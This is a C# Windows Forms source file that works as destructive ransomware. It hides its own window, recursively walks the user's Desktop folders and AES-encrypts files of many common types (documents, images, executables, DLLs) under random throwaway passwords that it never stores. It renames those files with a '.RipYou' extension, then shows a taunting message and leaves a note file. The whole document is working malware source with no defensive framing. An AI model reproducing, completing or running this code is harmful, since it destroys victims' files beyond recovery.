using System;
using System.Diagnostics;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Security;
using System.Security.Cryptography;
using System.IO;
using System.Net;
using Microsoft.Win32;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;


namespace kudag
{
    public partial class Form1 : Form
    {


        string userName = Environment.UserName;
        string computerName = System.Environment.MachineName.ToString();
        string userDir = "C:\\Users\\";



        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            Opacity = 0;
            this.ShowInTaskbar = false;

            startAction();

        }

        private void Form_Shown(object sender, EventArgs e)
        {
            Visible = false;
            Opacity = 100;
        }


        public byte[] AES_Encrypt(byte[] kekd, byte[] hmm)
        {
            byte[] notkek = null;
            byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
            using (MemoryStream ms = new MemoryStream())
            {
                using (RijndaelManaged AES = new RijndaelManaged())
                {
                    AES.KeySize = 256;
                    AES.BlockSize = 128;

                    var key = new Rfc2898DeriveBytes(hmm, saltBytes, 1000);
                    AES.Key = key.GetBytes(AES.KeySize / 8);
                    AES.IV = key.GetBytes(AES.BlockSize / 8);

                    AES.Mode = CipherMode.CBC;

                    using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(kekd, 0, kekd.Length);
                        cs.Close();
                    }
                    notkek = ms.ToArray();
                }
            }

            return notkek;
        }


        public string milf(int length)
        {
            const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
            StringBuilder res = new StringBuilder();
            Random rnd = new Random();
            while (0 < length--){
                res.Append(valid[rnd.Next(valid.Length)]);
            }
            return res.ToString();
        }





        public void lels(string file, string password)
        {

            byte[] asd = File.ReadAllBytes(file);
            byte[] pwasd = Encoding.UTF8.GetBytes(password);


            pwasd = SHA256.Create().ComputeHash(pwasd);

            byte[] asd2 = AES_Encrypt(asd, pwasd);

            File.WriteAllBytes(file, asd2);
            System.IO.File.Move(file, file+".RipYou");




        }


        public void hello(string location, string password)
        {


            var validExtensions = new[]
            {
                ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml",".exe", ".psd" ,".wmv", ".avi", ".mp4", ".mp3", ".html", ".bat", ".ink", ".lnk", ".dll", ".bak", ".dat",".ocx"
            };

            string[] files = Directory.GetFiles(location);
            string[] childDirectories = Directory.GetDirectories(location);
            for (int i = 0; i < files.Length; i++){
                string extension = Path.GetExtension(files[i]);
                if (validExtensions.Contains(extension))
                {
                    lels(files[i],password);
                }
            }
            for (int i = 0; i < childDirectories.Length; i++){
                hello(childDirectories[i],password);
            }


        }

        public void startAction()
        {
            string password = milf(15);
            string path = "\\Desktop";
            string startPath = userDir + userName + path;

            DirSearch(startPath);
            hello(startPath,password);
            messageCreator();
            password = null;
            System.Windows.Forms.Application.Exit();
        }
        public void DirSearch(string dir)
        {

            try
            {
                string path2;
                foreach (string f in Directory.GetFiles(dir))

                foreach (string d in Directory.GetDirectories(dir))
                {
                    path2 = d.ToString();
                    string passwords = milf(15);

                    hello(path2, passwords);
                    DirSearch(d);
                }

            }
            catch (System.Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
        public void messageCreator()
        {
            string path = "\\Desktop\\HelloScrub.txt";
            string fullpath = userDir + userName + path;
            MessageBox.Show("ayy lmao all ur desktop files are shrekt");
            string[] lines = { " Hope you enjoy -Ama" };
            System.IO.File.WriteAllLines(fullpath, lines);
        }
    }
}